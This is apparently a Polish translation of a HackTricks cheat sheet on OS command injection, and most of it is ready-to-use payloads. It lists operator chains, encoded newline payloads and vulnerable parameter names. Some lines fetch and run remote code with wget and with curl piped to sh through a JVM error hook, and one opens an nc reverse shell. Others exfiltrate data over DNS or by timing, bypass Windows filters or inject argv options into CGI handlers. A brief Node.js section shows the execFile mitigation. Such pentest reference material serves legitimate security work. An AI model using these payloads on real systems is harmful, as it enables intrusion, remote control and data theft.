Command Injection

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Czym jest command Injection?

A command injection pozwala atakującemu na wykonanie dowolnych poleceń systemu operacyjnego na serwerze hostującym aplikację. W rezultacie aplikacja i wszystkie jej dane mogą zostać całkowicie skompromitowane. Wykonanie tych poleceń zwykle pozwala atakującemu uzyskać nieautoryzowany dostęp lub kontrolę nad środowiskiem aplikacji i systemem bazowym.

Kontekst

W zależności od tego, gdzie są wstrzykiwane twoje dane wejściowe, może być konieczne zamknięcie kontekstu w cudzysłowie (używając " lub ') przed poleceniami.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Limition Bypasses

Jeśli próbujesz wykonać arbitrary commands inside a linux machine, warto zapoznać się z tymi Bypasses:

Bypass Linux Restrictions

Przykłady

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Parametry

Poniżej znajduje się 25 najważniejszych parametrów, które mogą być podatne na code injection i podobne podatności RCE (źródło: link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

Ekstrakcja danych: char by char

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Oparte na narzędziu z https://github.com/HoLyVieR/dnsbin, również hostowanym na dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Narzędzia online do wykrywania DNS based data exfiltration:

  • dnsbin.zhack.ca
  • pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

Podczas audytu backendów JavaScript/TypeScript często natrafisz na API Node.js child_process.

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() uruchamia shell (/bin/sh -c), dlatego każdy znak mający specjalne znaczenie dla shell (back-ticków, ;, &&, |, $(), …) spowoduje command injection, gdy wejście użytkownika jest konkatenowane w stringu.

Mitigacja: użyj execFile() (lub spawn() bez opcji shell) i podaj każdy argument jako oddzielny element tablicy, tak aby shell nie był zaangażowany:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Real-world case: Synology Photos ≤ 1.7.0-0794 było podatne poprzez nieautoryzowane zdarzenie WebSocket, które umieściło dane kontrolowane przez atakującego w id_user, które następnie zostały osadzone w wywołaniu exec(), osiągając RCE (Pwn2Own Ireland 2024).

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

Nie wszystkie wstrzyknięcia wymagają znaków specjalnych powłoki. Jeśli aplikacja przekazuje nieufne ciągi jako argumenty do narzędzia systemowego (nawet przy użyciu execve/execFile i bez powłoki), wiele programów nadal będzie traktować każdy argument zaczynający się od - lub -- jako opcję. Pozwala to atakującemu zmienić tryby działania, zmienić ścieżki wyjścia lub wywołać niebezpieczne zachowania bez konieczności przejmowania powłoki.

Typowe miejsca, w których to występuje:

  • Wbudowane interfejsy webowe/CGI handlers, które budują polecenia takie jak ping <user>, tcpdump -i <iface> -w <file>, curl <url>, itp.
  • Scentralizowane routery CGI (np. /cgi-bin/<something>.cgi z parametrem selektora takim jak topicurl=<handler>), gdzie wiele handlerów używa tego samego słabego walidatora.

Co wypróbować:

  • Podaj wartości zaczynające się od -/--, aby zostały odebrane jako flagi przez narzędzie docelowe.
  • Nadużyj flag, które zmieniają zachowanie lub zapisują pliki, na przykład:
    • ping: -f/-c 100000 aby obciążyć urządzenie (DoS)
    • curl: -o /tmp/x aby zapisać dowolne ścieżki, -K <url> aby załadować konfigurację kontrolowaną przez atakującego
    • tcpdump: -G 1 -W 1 -z /path/script.sh aby osiągnąć wykonanie po rotacji w niebezpiecznych wrapperach
  • Jeśli program obsługuje -- oznaczające koniec opcji, spróbuj obejść naiwne zabezpieczenia, które dopinają -- w złym miejscu.

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

Diagnostyczne callbacki JVM gwarantujące wykonanie

Każdy mechanizm, który pozwala wstrzykiwać argumenty linii poleceń JVM (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, etc.) można zamienić w niezawodne RCE bez modyfikowania bytecode aplikacji:

  1. Wymuś deterministyczną awarię przez zmniejszenie metaspace lub heap: -XX:MaxMetaspaceSize=16m (lub mały -Xmx). To gwarantuje OutOfMemoryError nawet podczas wczesnego bootstrapu.
  2. Podłącz hook błędu: -XX:OnOutOfMemoryError="<cmd>" lub -XX:OnError="<cmd>" wykonuje dowolne polecenie OS za każdym razem, gdy JVM awaryjnie przerywa działanie.
  3. Opcjonalnie dodaj -XX:+CrashOnOutOfMemoryError, aby uniknąć prób odzyskiwania i uczynić payload jednorazowym.

Przykładowe payloady:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Ponieważ te diagnostyki są parsowane przez sam JVM, żadne shell metacharacters nie są wymagane, a polecenie uruchamia się z tym samym poziomem integralności co launcher. Błędy Desktop IPC, które przekazują dostarczone przez użytkownika JVM flags (zob. Localhost WebSocket abuse), w związku z tym przekładają się bezpośrednio na OS command execution.

Brute-Force Detection List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks